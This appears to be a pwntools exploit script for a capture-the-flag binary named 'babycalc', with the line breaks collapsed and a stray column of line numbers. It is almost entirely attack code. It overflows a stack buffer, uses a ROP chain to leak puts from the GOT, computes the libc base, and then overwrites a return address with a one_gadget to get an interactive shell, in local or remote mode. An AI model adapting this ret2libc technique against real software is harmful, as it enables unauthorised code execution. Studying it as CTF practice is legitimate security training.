1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import *
arch = 64 challenge = './babycalc'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc-2.23.so')
csu_front_addr=0x400C80 csu_end_addr=0x400C9A
def pwn(): local = 1 if local: p = process(challenge) else: p = remote('tcp.cloud.dasctf.com', '22084')
def debug(): gdb.attach(p,"b*0x4007F0\n b*0x400BA6\n b*0x40079B\n") pause()
v3 = [19, 36, 53, 70, 55, 66, 17, 161, 50, 131, 212, 101, 118, 199, 24, 3]
pop_rdi_ret = 0x0000000000400ca3 pop_rsi_ret = 0x0000000000400ca1 puts_got = 0x602018 puts_plt = 0x4005d0 read_plt = 0x4005F0 main_addr = 0x400C1A pwn_addr = 0x400789 start_addr = 0x400650
code = p64(1)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr) payload = '24'+'a'*(0x70-2)+code.ljust(0x60,"b") payload += p8(v3[0])+p8(v3[1])+p8(v3[2])+p8(v3[3])+p8(v3[4])+p8(v3[5])+p8(v3[6])+p8(v3[7])+p8(v3[8])+p8(v3[9])+p8(v3[10])+p8(v3[11])+p8(v3[12])+p8(v3[13])+p8(v3[14])+p8(v3[15]) payload += '\x00'*(0x18+4)+p32(0x38) p.sendafter("number-1:",payload)
p.recvuntil("good done\n")
puts_libc = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) libc_base = puts_libc - libc.sym["puts"] success("puts_libc >> "+hex(puts_libc)) success("libc_base >> "+hex(libc_base))
debug()
system_libc = libc_base + libc.sym["system"] binsh_addr = libc_base + 0x18ce57
one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247] one_gadget = one_gadgets[3]+libc_base
success("system_libc >> "+hex(system_libc)) success("binsh_addr >> "+hex(binsh_addr)) success("one_gadget >> "+hex(one_gadget)) payload = '24'+'d'*(0x70-2)+0x58*"e"+p64(one_gadget) payload += p8(v3[0])+p8(v3[1])+p8(v3[2])+p8(v3[3])+p8(v3[4])+p8(v3[5])+p8(v3[6])+p8(v3[7])+p8(v3[8])+p8(v3[9])+p8(v3[10])+p8(v3[11])+p8(v3[12])+p8(v3[13])+p8(v3[14])+p8(v3[15]) payload += 'f'*(0x18+4)+p32(0x38)
p.sendafter("number-1:",payload) p.interactive()
while(1): try: success(">> testing") pwn() break except: sleep(1)
|